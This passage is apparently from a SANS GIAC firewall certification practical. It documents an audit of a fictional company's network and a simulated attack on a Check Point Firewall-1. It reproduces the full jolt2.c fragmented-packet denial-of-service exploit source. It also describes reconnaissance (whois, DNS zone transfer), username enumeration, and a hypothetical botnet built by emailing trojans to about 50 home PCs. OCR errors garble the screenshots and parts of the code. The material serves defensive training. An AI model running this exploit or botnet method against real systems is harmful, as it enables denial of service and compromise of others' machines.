confirm the removal of any vulnerability. A new report will be submitted for “second-round”
adjustments to be made.

3.1.5 The process of security

After the final audit report is submitted, the company will be educated about the process of
maintaining its security. The fact that there is no “final-round” means the process continues and
cycles from auditing, to making adjustments, to testing and back to auditing. The main point to
remember is that the nature of keeping things secure requires continuous maintenance.

-45-
© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.



3.2 Performing the audit

3.2.1 External audit

Before the audit is performed, the authorization paperwork will be verified to ensure that both
parties (GIAC and the auditor) are in agreement to the responsibilities and risks involved.

3.2.1.1 Audit procedure

To audits will be performed from both directions (from inside the GIAC network and from the
outside inward.) Using the network scanning tools described above, the audit from the outside
will replicate what would happen if a person tried to attack GIAC. The reverse audit (from the
inside outward) will replicate what our trusted groups would be able to do. We need to see that
the limits we set for our users (customers, partner, suppliers and employees) are only allowed to
perform what we want them to. A laptop will be used to perform scans to for the audit. The same
laptop will be used to perform the external scan so all the data concerning the audit will be
contained on the one laptop system. The laptop being used here will have an encrypted disk
setup to contain all the information gathered. We need to protect the weaknesses found since is
still remains the responsibility of GIAC to make the changes to correct any issues found with the
IT systems.

3.2.1.2 Company concerns

GIAC has been concerned about employees using Instant Messaging programs that may find
their way past the firewall. AOL Instant messenger is NOT part of the policy that the company is
allowing for its users. The main reason GIAC is not allowing AOL IM isthat it represents alarge
area of new vulnerabilities and exploits. This in turn, creates a hole into the GIAC network.
GIAC management and security team recognizes the trend for the corporate world to use IM
systems and they want to make sure that the employees understand the risks involved and the
company policy that will be enforced.

“Indeed, according to an October 2000 study released by International Data Corporation
(IDC), more than 70 percent of corporations with 100 or more employees will deploy IM
tools by the end of this year. More than 5.5 million people use IM in a business setting
today, a number IDC says will increase to a whopping 180 million by 2004.”

- InfoSecurity.com

The company wants to know that AOL IM is not being allowed out. Our audit will seek to ensure
that thisis the case.

3.2.1.3 Scanning the network

The laptop is setup outside the network and is connected via broadband to the Internet. We then
perform our scan of the firewall. From the outside, the router is reporting numerous false
positives on the ports open. This “extra’ information fed out makes an attack more difficult as
now the attacker would have to confirm the services are in fact running. We know that our
network is not running all those services. The scan has gathered some other information about
the network as the tool retrieves the banner from the services it has found “open” the responses
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are logged. These responses could give a great deal of insight into the services and the internal
network.

The TTL starting at 64 tells the scanner that the OS is probably UNIX based and is 20 hops away
from us that in this case is accurate. The firewall is based on a UNIX OS. This information
narrows the attackers target considerably. He now only has to consider attacks or exploits which
would be effective against a UNIX system.

!L!u | AT N E LTS T TR 280 14
File Edit ‘iew Scan Tools LANguard Help
D DLDEEA - = -] [Tz ?
= [&l|pone sending, waiting for responses ...
[& Time tolive (TTL]: 44 [64] - 20 hop(s) away J||SHHP discowvery ...
=& Open Partz [74] « False positives Community string : public
@ 13[Daptime => Time of day | makes info gathering Done sending, waiting for responses ...
21 [ Fio => File Transfer P | 5 g ICHP sweep ... (PING *)
&3 21 [Fip = Fie Transfer Protocal | ek more time consuming 5 Fs
@ 22[5sh=; Remote Login Protocol ] Done sending, waiting for responses ...
49 25 [ Smtp => Simple b ail Transfer Protocal | PENG from ( ived 60 bytes)
@ 12[MameServer = WINS Host Mame Server] [l ST receive yLes
79{Fi:;:l]ewe' AR 45 B9 08 3C C6 4B 88 86 2C 61 0B 61 41 DO BY 86
Koo an...
B0 [ Http => WoarldWide Web. HTTP] || co ag 81 15 00 13 52 4o B2 68 B1 BO 61 62 63 64
98 [ linu=conf | RI abcd
103 [ Pop2 => Post Office Protocol 2] 65 66 67 68 69 GA 6B 6C 6D 6E GF 70 71 72 73 74
110 Pap3 =» Past Office Protacal 3 | efghijklmnopgrst
117 [ SunRPC =» SUN Remote Procedure Call] 75 76 77 61 62 63 64 65 66 67 68 69 uvwabcdefghi
113 [identd => Authentication Service ] - Time to live (TTL) = 44 (64}
118 [ SqglSer => SOL Services ] Guesses at OS + 28 hop({s) away
135 [ epmap =» DCE endpoint resalution | - ICHP code in response <> @ => Unix box
139 [ Metbios-ssn =»> NETBIOS Session Service | Ready
186 [ Sqlsrv = SOL Services | — |1 Computer(s) found.

179 [ BGP => Border Gateway Protocol |
371 [Clearcaze ]

445 [ Microsoft-Ds |

512 [ Exec => Remote process execution ]
513 [ Login =» Remote login (a la telhet] |
514 [ Shell =» cmd ]

515 [ printer => Printer Spooler ]

Port probing ( waiting 2 sec) [1/2] ...
Port probing { waiting 2 sec) [2/2] ...
74 open port(s).

Gathering banners ...

() 113 - identd

1080 [ Socks] > (sent 9 bytes)

1433 [ Microsoft SOL server ] 56 45 52 53 40 4F LE 6D 6n UERSIOHN. .

1993 | Cisco SNMP ] Unable to resoluve t

1333 [ Cisco identd | 13 - Daytime => Time of day

2049 [ NF5 =» Network File Spstem | 21 - FTP

3128 [ Prowy/Socks | Anonymous logins accepted 7

3389 | Temninal Services] | > (sent 16 bytes})

5631 [ pealywWHERE data =3 Remate Contial Software ] 55 53 45 52 20 61 6E 6F 6E 79 6D 6F 75 73 6D OA

5632 [ pcdNY"WHERE stat => Remate Control Software ] anonymous . .

6763 [ IBM DB2] No .

790 [ IBM DB2 ] g EE = §§IT1H=) Remote Login Protocol
Firewall Log:

The firewall shows the SYN
packets being dropped for

153 htkp-proxy[367] [192.168,52.24:1745 J111,111,111:135] Error while sendingfrece : those services which pass
06/19/80 21:53 htkp-proxy[367]: [192,.165.52.24:1746 192.111.111.111:135] Error while sending/receiving: the border router.
06/19/80 21:53 htkp-proxy[367]: [192,.165.52.24:1747 192.111.111.111:135] Error while sending/receiving:

3.2.2 Internal audit

This portion of the audit represents the findings from each internal segment. Each segment has
its own concerns about what goes on. The corporate network is statistically the area from which
we can expect the most attacks to come from. Employees who are experimenting, untrustworthy,
or whatever reason they may have. The employees have the greatest potential for accessto GIAC
data. As we scan to gather information from the corporate network, we see very little we can use
in an attack is bleed back. The scan proves ineffective, as the firewall drops the packets send to
it. Below are the results of the scan and the response in the firewall. The results of this portion of
the audit are typical for each segment of the network on the inside.
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The service network being the publicly available segment, our concern becomes “make sure
nobody compromises these systems. If someone were to break on the servers, they would most
likely try to send some kind of packet outward. For example if they wanted to attempt to use one
as a zombie or if they placed some kind of trojan on the system which would want to
communicate back to the host. Therefore, we need to keep an eye out for any attempts to get
packets out from this segment. Our IDS system on that segment goes a long way to be our eyes
for that purpose. It will log any attempts outbound from this segment. Additionally, the firewall
will log any denied attempts from this segment out since it is not allowing that traffic. The
firewall will only allow connections initiated from the outside even though traffic ends up
traveling both directions. The remote and data segments are not allowed to connect out from any
server so scans from this location would have little results.

Results: (typical each internal network segment)

Bk T E s T U J L_'li \31
File Edit Wew Scan Tools LARguard Help
o ] Y @5'5 = ‘;_}__ Target: S W% P A 10 9

HETBIDS discovery ...

Done sending, waiting for responses ...
SHMP discovery ...

Community string : public

Done sending, waiting for responses ...
ICHP sweep ... (PING %)

Done sending, waiting for responses ...
Ready

Ho computers found.

Ready

3.2.2.1 Retina scan

Next, we will use the Retina tool mentioned earlier to scan the servers and determine what
weaknesses could be used to exploit the private network. Each system will be scanned and the
resulting information will be used to adjust the systems. Shown here is a scan of one of the
servers and we found a Compaq service running which presents an issue. The remaining systems
will al be scanned to find any problems that we need to address.

The web server included in Compag Insight Manager' could expose sensitive
information. Anyone that has access to port 2301 where Compaq Insight Manager is
installed could get unrestricted access to the server’s disk through the "root dot dot" bug.

- CVE-1999-0771

! Insight manager is a software system developed by Compag to help monitor the services and
various other variables on Compaq systems.
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(& Retina - [Untitled]
File Edit Yiew Action Tools Help

|| address: [122168.1.14 Hlle-le-Q0Bad + - RAE D-7?

+ {192 168.001.0714; 4% IP Services Compag web management agent file view
Machine 192.168.00

Remote Date 4/22/2002

Remote MAC 00-50-8B-94-4E-D2

Methioz Mame

Remote Time

Ports

Services

IP Services: Comparg web management agent file view

Description: The compag web management server on port 2301 has been known ko contain numerous vulnerabilities, including:
A File wiew attack using .. Path traversal
default passwords and accounts
a Denial of service caused by a buffer averflow in HTTP Get Requests

Risk Level: High
Disable the the compag web management service or upgrade ta the latest version From compag,

Related Links: Compag Management Agent Homepage

E I, cve-1999-0771

BugtraglD: 282

The result of the scan shown here on one of the internal servers reveals a Compaq service
running. To better cover why these issues may be a problem we will look at each on in detail.

3.3 Evaluating the audit
The summary of the issues found in our audit are explained here.

3.3.1 SMTP problem

The audit from outside the firewall has shown that we can gain some information that could be
useful in an attack. There are no services running which we do not expect to see. The firewall is
allowing access out from the only the corporate network. The HTTP and SMTP services are
shown in the network scan above (in section 3.2.1). There are no connections allowed coming
inward to those systems. Also, note that in the above scan even though we are seeing the SMTP
port open we cannot see what type of server is running from the outside. However even though a
scan from and internal perspective does not show the services. We can expect someone who has
access to the internal network would already know there is email service running. And if we
simply telnet to the email service on any of the segments we could gain information on what type
of SMTP server it is and what the name of the server is. This would allow them to explore the
vulnerabilities of the server we use and be much more accurate in any attacks to come.

3.3.2 Compagqg service problem

The service running on our Compaq system leaves room for an internal attack. Thisin turn could
allow an attacker full access to a server. From there they would have the ability to damage the
information or use their access for any purpose they wish. The process for minimizing this type
of risk should include (as this problem shows) eliminating any service that are not being used.

3.3.3 Instant message problem

Instant messaging is a growing issue among al companies. The myriad of problems associated
with using and IM system can be found all over the Internet. One good resource for information
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is the SANS reading room document by Dan Frase. Refer to the link below for specific
information

http://rr.sans.org/threats/IM menace.php

3.3.4 Improve the defense

In the process of maintaining the security of the systems, we have to make adjustments on a
continuous basis. The following adjustments are an example of the types of adjustments that we
should expect the security team to be actively involved. The changes are being made here
(sections 3.3.41 through 3.3.43) because we just found them in our initial audit.

3.3.4.1 SMTP adjustments
By default our Microsoft Exchange server replies with a banner indicating what it is. That banner
can be turned off so as not to give any hint as to what server is running. It would be wise to turn
the banner off for the SMTP service on all the servers. Turning off the banner on a Microsoft
email server can be done by following the recommendations from Microsoft. By default, the
service returns this information.

220 mail 1. giac.local Mcrosoft ESMIP MAIL Service, Version:
5.0. 2195. 2966 ready at Mn, 18 Mar 2002 11:02:10 -0500

After modification to the banner using the procedure outlined by Microsoft, then we can see the
difference and now we do not have the advantage of knowing what kind of SMTP server it is.

220 mail 1. giac.local *******x** N\pn, 18 Mar 2002 11:02:10 -0500

See http://support.microsoft.com/default.aspx?scid=kb;EN-US;q281224 for the complete
instructions.

3.3.4.2 Adjustments for Compaq issue

The Compaq service will be disabled. There is no need to have the Compag Insight Manager
running since we have adequate resources to monitor the IT systems.

3.3.4.3 Adjustments for IM

Blocking AOL IM access is a concern for GIAC as discussed in section 3.2.1.2. There are
numerous reasons that we do not want any IM systems running on our network so we will
outline how to prevent AOL IM asit is the specific concern of GIAC.

Using atool called Sam Spade http://www.samspade.org/ssw/ we can DNS IP
information used by the AOL. See“1” in the figure below.
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£

[64.12.161.153 -] = ®F | &[Magic ~|| #[66.208.210.250 |

net

& |
9 \l04/22/02 10:40:22 dne login.oscar.acl. com
Canonical name: login.oscar.acl.con

Log
Bddresses:
2| 64.12.161.153 1
64.12.161. 185

-]
F,ng 04/22/02 10:41:15 IP block A4.12.1681. 185 i
et Trying &4.12.161. 185 at ARIN

gis | |Trying 64.12.161 at ARIN

smerica Online, Inc. (METBLE-ADL-MTC)

Whois 10600 Infantry Ridge Road
Manassas, VA 20109
PRIk
Us
Dig
T MNetname: AOL-MTC
Trace Netblock: &4.12.0.0 - £4.12.255.255 2
Finger Coordinator:
America Online, Inc. {AOL-NOC-ARIN) domains @AOL.HET

T03-265-4670

ime . . . .
Domain 8ystem inverse mapping provided by:

Web

DNE-01.M8.A0L, COM 152,163,159, 232
DME-02.N8.AO0L. COM  205.188.157, 232

Awake

REL

Record last updated on 16-Dec-155%5.
Databasze last updated on Z1-Apr-=200Z2Z 15%:57:485 EDT.

=  Then, we lookup the IP block used by this DNS (See “2” in the figure above

= Lastly, we need to block this range by default on the firewall using the Blocked Sites
option from the Setup pull down menu, when in the Policy Manager. We can then enter
the I P range (64.12.0.0 to 64.12.255.255). Then save the change to the firewall.

1 Blacked Sites ok | Q 9
10,000/
& |imzienonz Cancel e 4“ re
Any-Partners Cuskomer_HTTP Cu 132.168.0.0.18

> IPSEC_SMTP “WakchGuard
Logging...
Help

Choose Type|HDst Range j Ok

Walue: [E4.12.0 .0 Cancel |
i |s4 12 255.255 Add.. Remove
Diuration for Autc-Blocked Sites: |20 El: minutes
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4 Design assessment

It is helpful to examine the designs that have been created in the past and attempt to find
vulnerabilities in them. We are then alowed the chance to learn how we can design more secure
systems. To accomplish this we will be looking at James Manion proposed architecture that can
be found at http://www.giac.org/GCFW.php with the Analyst number 0255 (the GIAC web site)

(See reference section 5.2)
@ == e
Suppliers Custpmers Partnerships
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4.1 Attack the firewall

The firewall is a prime target for attacks so we want to examine it to make sure it is up to the task
of defending the company behind it. The firewall in question is a Checkpoint Firewall-1 running
on a Sun Sparc 20 system. Firewall-1 is a firewall software package It is distributed by Check
Point Software Technologies, and designed to run on various systems such as Sparc/Solaris or
the Nokia Firewall Modules.

Sections 4.1.1 through 4.1.3 contained a list of three vulnerabilities found with thisfirewall.
I nformation was obtained from the following sour ces.

http://www.securityfocus.com — Security Focus bugrag vulnerability listing
http://cve.mitre.org - Common Vulnerabilities and Exploits listing

4.1.1 Fragmented packets - Denial of Service Vulnerability
Reference: CVE 2000-0482 (bugtraq id: 1312)

Description:

By sending illegally fragmented packets directly to or routed through Check Point Firewall-1, it
is possible to force the firewall to use 100% of available processor time logging these packets.
The Firewall-1 rule base cannot prevent this attack and it is not logged in the firewall logs

Exploit:
Although this exploit was coded for a different vulnerability, it has proven to be effective
in demonstrating this vulnerability as well.

See Reference section 5.1
Solution:

Service Pack 2 released for Firewall-1 will deal with this issue and is available at their
download site here http://www.checkpoint.com/cgi-bin/download.cqi

4.1.2 Denial of service vulnerability
Reference: CVE 2001-0182 (bugtraq id: 2238)

Description:
Firewal-1 4.1 with a limited-IP license alows remote attackers to cause a denia of
service by sending a large number of spoofed IP packets with various source addresses to
the inside interface, which floods the console with warning messages and consumes CPU
resources.

A problem with the license manager used with the Firewall-1 package could allow a
Denia of Service. The problem manifests itself when the internal interface receives a
large number of packets that are source routed and containing fictitious (or even valid)
addresses. In a system containing a license with a limited number of protected IP
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addresses, the license manager calculates the address space protected by counting the
number of addresses crossing the internal interface. When the large number of packets
cross the internal interface, each IP address is added to the number calculated under
license coverage. When the number of covered IP addresses is exceeded, an error
message is generated on the console for each IP address outside of the covered range.
With each error message generated, the load on the Firewall system CPU raises. This
makes it possible for a user with malicious motives to make a firewall system
inaccessible from the console by sending a large number of |P addresses to the internal
interface.

Check Point Software has acknowledged this vulnerability and a workaround is available.
For the workaround, see the solution section of this vulnerability database entry. This
issue will be resolved in the next service pack.

Exploit:
No exploit is required for this vulnerability.

Solution:
An immediate workaround is available for this issue; at the command prompt, type the
following command: “fw ctl debug —buf” This will prevent the high CPU utilization by
blocking console error message logging. This issue will be addressed in an upcoming
service pack. Thisvulnerability isfixed in Firewall-1 4.1 SPA.

4.1.3 Valid username vulnerability
Reference: CVE 2000-1032 (bugtraq id: 1890)

Description:

Upon connecting to the firewall, the attacker enters a username and password. If the
username and password are invalid, the firewall will respond with "<username> not
found". If the username is valid, and the password is invalid, the firewall will respond
with "Access denied by Firewall-1 authentication. Upon successfully determining a
valid username, a remote attacker could then attempt a brute force or password grinding
attack to determine the password for the valid username. If successful, an attacker could
then gain access to the firewall based on that user's privileges.

Exploit:
If avalid username and invalid password is used:

User: validuser
Firewall-1 password; ******
Access denied by FireWall-1 authentication
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And if aninvalid username is used:

User: invaliduser
User someuser not found

Solution:

Administrators can create a generic* account in the user database of FW-1 that will remedy this
problem. This account will trigger on al usernames that have not been explicitly been defined in
the user database and prevent an attacker from profiling the database.

4.2 Method of attack

A Distributed Denia of Service attack (DDOS) is avery common approach when a hacker
decides that he wants to make his move. A DDOS is described as follows:

“In a DDoS attack a hacker floods a victim server/computer on the Internet with huge
amounts of traffic causing some of the victim's resources to chock and stop operating. Thus
taking the victim out of service. The hacker usually orchestrates such an attack from
hundreds or thousands of computers it has broken in and installed its traffic generating
tools. The  following diagram shows a typicd DDoS  attack:

DDoS attacks can bring down a network or a site by overwhelming target machines with
large amounts of traffic, and thereby exhausting the target computational or
communication resources.”

- http://www.wanwall.com/about/ddos explained.html

The diagram below shows a typica scenario for a DDOS attack. The hacker gains control of
“masters’ systems which he will then use to control daemon systems to make the attack on the
target.
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We are now going to attempt to be the hacker and use the vulnerability described in section 4.1.1
the “Check Point Firewall-1 Fragmented Packet DoS’

For all of our attacks we are going to use atoo called the Aggressor Exploit Generator V0.85 by

Korhan KAYA ak.a _bLaCkwind_

. This is a packet-crafting tool that can accomplish what

we need to attempt. This tool can be found at http://www.agressor.net from a company called

CoreSoft.
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4.2.1 Performing the attack

We have set the tool into an advanced mode so we can control the packet creation more. The tool
is set to send 9153 illegal fragmented packets to the IP of the firewall in the attempt to overload
the logging of the firewall. We are using port 80 as a likely port that the firewall is alowing
inward. The results of the attack are that we get to send about 7300 packets before the system
stops responding. The firewall stops responding after the 7299™ packet and although we have not
confirmed the firewall is locked up is some way, it is a good bet that we have succeeded. That
can be obtained at the http://www.checkpoint.com/cgi-bin/download.cgi location as stated in
section 4.1.1.

[AGSocket] Sending Custom to host [220.10.10.76] on Port [80 / 80] (7292 times)
[AGSocket] Sending Custom to host [220.10.10.76] on Port [80 / 80] (7293 times)
[AGSocket] Sending Custom to host [220.10.10.76] on Port [80 / 80] (7294 times)
[AGSocket] Sending Custom to host [220.10.10.76] on Port [80 / 80] (7295 times)
[AGSocket] Sending Custom to host [220.10.10.76] on Port [80 / 80] (7296 times)
[AGSocket] Sending Custom to host [220.10.10.76] on Port [80 / 80] (7297 times)
[AGSocket] Sending Custom to host [220.10.10.76] on Port [80 / 80] (7298 times)
[AGSocket] Sending Custom to host [220.10.10.76] on Port [80 / 80] (7299 times)
[AGSocket] Sending Custom to host [220.10.10.76] on Port [80 / 80] — System not responding
[AGSocket] Sending Custom to host [220.10.10.76] on Port [80 / 80] — System not responding
[AGSocket] Sending Custom to host [220.10.10.76] on Port [80 / 80] — System not responding

4.2.2 Gathering information

One of my favorite sites can be used to gather information about the GIAC Company before we
attempt the attack. The http://www.logical packets.com site contains numerous tools to perform
testing and information gathering. Note the SamSpade software used in the GIAC audit could
also be used here. From the logical packets.com web site, we will use the whois tool and enter
giac.com. The results here show the registrant information. We can now confirm we have the
correct target and maybe do some social engineering to get the router manufacturer or any other
information from the people who would answer the phone for GIAC.

Registrant:
CIAC Consulting, Inc.
4F, No. 6 Lane 79, Chienkwo, S. Rd., Sec. 2,
Boston, MA 10643
USA

Registrar..: |ARegistry.com (http://www.iaregistry.com)
Domain Name: GIAC.COM

Created on............... 03-Jul-2001

Expireson............... 03-Jul-2002

Record last updated on..: 04-Jul-2001

Administrative Contact:
Yen-Chun, Lee. mrlee@ms7.hinet.net
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GIAC Consulting, Inc.
4F, No. 6 Lane 79, Chienkwo, S. Rd., Sec. 2,
Boston, MA 10643
+555.2409143
Technical Contact, Zone Contact:
Y en-Chun, Lee. mrlee@ms7.hinet.net
GIAC Consulting, Inc.
4F, No. 6 Lane 79, Chienkwo, S. Rd., Sec. 2,
Boston, MA 10643
+555.2409143

Name servers for this domain:

NS.NAME.NET 66.33.48.22
NS2.NAME.NET 66.33.60.124

If we wanted to dig more and search the DNS servers for information, we can execute a whois
on the 66.33.48.22. We could gain more information about people we could impersonate in a
socia engineering attempt. Going still further, we could use the nslookup tool to get more
information about the machines in the GIAC network. It may look like this...

If we then run nslookup in interactive mode:
>set type=any
>giac.com

Server: extdnsl.concsat.com
Address: 131.225.8.120
Non-authoritative answer:
giac.com

origin = giac.com

mail addr = hostmaster.giac.com
seria = 201291239

refresh = 7200

retry = 3600

expire = 1728000

minimum ttl = 7200

giac.com nameserver = dnsserver.giac.com < Resolvesto 207.155.154.44

If we then run asimilar query on the dnsserver.giac.com we could find the M X records for
GIAC s mall server.

Again in interactive mode nslookup

>server 207.155.154.44

>set type=any

>giac.com
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We could then try a zone transfer using the interactive command
>|s—d giac.com

If the server alows a zone transfer, we would then get direct DNS record from this server
indicating any such records that we could use to exploit the inside network. Any such
information gained would provide a large advantage to any would-be attacker. At this time, we
may have obtained enough information to make connections to a SMTP server, for example and
proceed to enumerate the individual accounts on that server using standard SMTP commands. If
we find say that admin@agiac.com is avalid email address, we could then attempt to send them a
trojan/virus and pretend that we are from their 1SP.

4.2.3 Attack the Checkpoint firewall

ks Aggressor Exploit Generator v0.85 Prerelease- SIMPLE MODE

Destination IP | Start Port Stop Port NOMNE
LOW
Source IP j24.8.1 jﬂﬂﬂ srcPort [T ~ | SmurfPs CIJE*: HIGH
Delay %4 #of packets % VERY HIGH
Anti backfire
GEHERAL OPTIONS SUFFER. PARAMETERS
wl[v SmartPorts [ v Locked Src Port v x10 & Data
|l Instant Send | Randomize SRC IP v SYN [ RST [ URG
[+ Get IP from Clipboard v Synch Windows PPP ["ACK [ PSH [ FIN
[~ n
E HesTea g’?— Suffer3 @ Boink 5:’ Land ELQ 00B EEE Smurf [=Portscan ) stop
Threads running ;0 Total # of Packets Sent : 1900
CTS DTR THD RxD
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£ >

We have been busy after school acquiring the control of about 50 cable modem usersin our area.
Now we going to target the outside Checkpoint firewall at 220.10.10.76 and try to bring it
to the point where its ability to communication fails. Over the past few months, we have
become familiar with how to use Trojan code.
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Web sites like www.blackcode.com and various others have helped us understand how we can
use these to email to everyone we can. After the email is opened, the attachment installed the
Trojan onto those 50 systems. It took some time to gather 50 systems, but now we can connect to
them using our Trojan program and execute the commands needed to perform the attack. These
are our daemons. We are not using “masters’ as they are depicted in the diagram in section 4.2.
We are going to use this control to attack the GIAC network (the Checkpoint Firewall-1
specificaly) and our attempt is a ICMP flood on the network from 50 those systems. Again, we
are using the Aggressor tool to initiate the attack in the configuration shown here. We target the
firewall externa port. We set the tool to hit the GIAC network from our source of 50 daemons
and from each of these 50 times. The IP of these 50 PCs have been placed in afile and we will
cycle the use of each of these IP numbers. In this case, we may have only succeeded in creating
something for the IDS system to log. Our attack left no effect on the systems.

If we had succeeded the system would be bombarded with so much data that it would most likely
faill to communicate with any system until it was rebooted. There are routine maintenance tasks
that can help prevent this from happening in the next section.

4.2.4 Prevention
A few of the methods to prevent attacks of this kind would be:

- Keeping all firmware up to date for al hardware systems.

- Watching the manufactures sites for vulnerability information and updates

- Dalily visiting sites that deal directly with new vulnerabilities and exploits.

- To use an adaptive HIDS or NIDS that would make changes to a rule set for the firewall
or router.

- Todisable any zone transfers for internal DNS servers.

- Tokeep aclose eye on the IDS systems and what they are logging so that attempts that
are made can be used to make security related adjustments

- Maintain the practice of improving, reviewing, testing and monitoring the network in its
entirety.

- To educate the users for best security practices.

- Increase the size of the connection queue.

- Decrease the time-out waiting for the three-way handshake.

5 Reference section

Below is the reference to information contained throughout the document. Section 5.1 is
reference code used as an exploit on the CheckPoint Firewall-1. Section 5.2 is the references to
information expressed in the entire document. Each line shows the page number followed by the
source of the information.

5.1 Reference

(exploit code for Check Point Firewall-1 Fragmented Packets DoS V ulnerability)
/*

* File: jolt2.c

* Author: Phonix <phonix@moocow.org>

* Date: 23-May-00
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*

* Description: Thisis the proof-of-concept code for the
* Windows denial-of-serice attack described by
the Razor team (NTBugtrag, 19-May-00)
(MS00-029). This code causes cpu utilization
to go to 100%.

Tested against: Win98; NT4/SP5,6; Win2K

*
*
*
*
*
*

* Written for: My Linux box. YMMYV. Deal with it.

* Thanks: Thisis standard code. Ripped from lots of places.
* Insert your name here if you think you wrote some of
* it. It'satrivial exploit, so | won't take credit

* for anything except putting this file together.

*/

#include <stdio.h>

#include <string.h>

#include <netdb.h>

#include <sys/socket.h>
#include <systypes.n>
#include <netinet/in.n>
#include <netinet/ip.n>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <arpalinet.n>

#include <getopt.h>
struct _pkt
{
struct iphdr ip;
union {

struct icmphdr icmp;
struct udphdr  udp;
} proto;

char data;

} pkt;

int icmplen = sizeof(struct icmphdr),
udplen = sizeof(struct udphdr),
iplen = sizeof(struct iphdr),
spf_sck;

void usage(char * pname)
{
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fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n”,
pname);
fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n");
exit(0);
}

u_long host_to_ip(char *host_name)
{

static u_longip_bytes,

struct hostent *res;

res = gethostbyname(host_name);
if (res==NULL)
return (0);
memcpy(&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
}

void quit(char * reason)

{
perror(reason);
close(spf_sck);
exit(-1);

}

int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)
{

int bs, psize;

unsigned long x;

struct sockaddr_in to;

to.sin_family = AF_INET;
to.sin_port = 1235;
to.sin_addr.s addr = dst_addr;

if (port)

psize = iplen + udplen + 1;
else

psize = iplen + icmplen + 1,
memset(& pkt, O, psize);

pkt.ip.version = 4;

pkt.ip.ihl = 5;

pkt.ip.tot_len = htons(iplen + icmplen) + 40;
pkt.ip.id = htons(0x455);

pkt.ip.ttl = 255;
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pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
pkt.ip.saddr = src_addr;

pkt.ip.daddr = dst_addr;

pkt.ip.frag_off = htons (8190);

if (port)

{
pkt.proto.udp.source = htons(port|1235);
pkt.proto.udp.dest = htons(port);
pkt.proto.udp.len = htons(9);
pkt.data = 'a;

} else{
pkt.proto.icmp.type = ICMP_ECHO;
pkt.proto.icmp.code = 0
pkt.proto.icmp.checksum = O;

}

while (1) {
bs = sendto(sck, & pkt, psize, O, (struct sockaddr *) &to,
sizeof(struct sockaddr));
}

return bs;

}

int main(int argc, char *argv[])
{
u_long src_addr, dst_addr;
inti, bs=1, port=0;
char hostname[32];

if (argc < 2)
usage (argv[0]);

gethostname (hostname, 32);
src_addr = host_to_ip(hostname);

while ((i = getopt (argc, argv, "s:p:h")) '= EOF)
{
switch (i)
{
case's.
dst_addr = host_to_ip(optarg);
if (dst_addr)
quit("Bad source address given.");
break;
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case'p"
port = atoi(optarg);
if ((port <=0) || (port > 65535))
quit ("Invalid port number given.");
break;

case'h':
default:
} usage (argv[0]);

}

dst_addr = host_to_ip(argv[argc-1]);
if (dst_addr)
quit("Bad destination address given.");

spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if ("spf _sck)
quit("socket()");
if (setsockopt(spf_sck, IPPROTO _IP, IP_HDRINCL, (char *)&bs,
sizeof(bs)) < 0)
quit("IP_HDRINCL");

do frags (spf_sck, src_addr, dst_addr, port);
}

5.2 Informational references

Thislist contains the sources of information and the associated page which the information was
used.

10. http://www.watchguard.com/training/lss/50/fbtrain5.htm - Reducing Risk

11. http://www.microsoft.com/windows2000/downl oads/recommended/iislockdown/defaul t.asp -
1S Lockdown tool

11. http://www.cisecurity.org - CIS Level-1 Scoring Tool for Windows 2000

12.http://www.microsoft.com/technet/treeview/defaul t.asp?url=/technet/security/tools/hfnetchk.a
Sp - Microsoft HotFix Checker tool

13. http://www.cisco.com/univercd/cc/td/doc/pcat/3600.htm - Cisco Product information

18. http://help.watchguard.com/docs/v50HighAvailabilityGuide.pdf - High Availability Guide
from Watchguard
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18. http://www.sans.org/newlook/resources/| DFA Q/switched.htm - “How do you deploy
network based IDS in a switched network?’

24. http://www.cisco.com/warp/public/707/21.html - Improving Security on Cisco Routers

30. http://rr.sans.org/encryption/ipsecs role.php - Smith, Christopher. IPsec’s Role in Network
Security: Past, Present, Future September 17, 2001

46. http://www.inf osecuritymag.com/articles/february01/cover.shtml

48. http://www-arc.com/sara/cve/Compaqg Insight Manager version.html - CVE-1999-0771

49. http://rr.sans.org/threats/IM  menace.php Frase, Dan The Instant M essaging M enace:
Security Problems in the Enterprise and Some Solutions January 31, 2002

50. http://support.microsoft.com/default.aspx?scid=kb;EN-US;g281224 - XCON: How to
Modify the SMTP Banner (Q281224)

52. http://www.qgiac.org/GCFW.php - Practica from James Manion

57. http://www.stopspam.org/usenet/mmf/man/nslookup.html - The nslookup Manual Page

57. http://rr.sans.org/hackers/fundamental s.php The Fundamentals Of Computer HACKING, Ida
Mae Boyd (December 3, 2000)

57. http://www.sans.org/infoFAQ/DNS/flat.htm - The Flat Footed Hacker by Joe Klemencic,
September 17, 2001

60. http://www.cert.org/incident notes/IN-99-07.html - CERT Incident Note 99-07. Distributed
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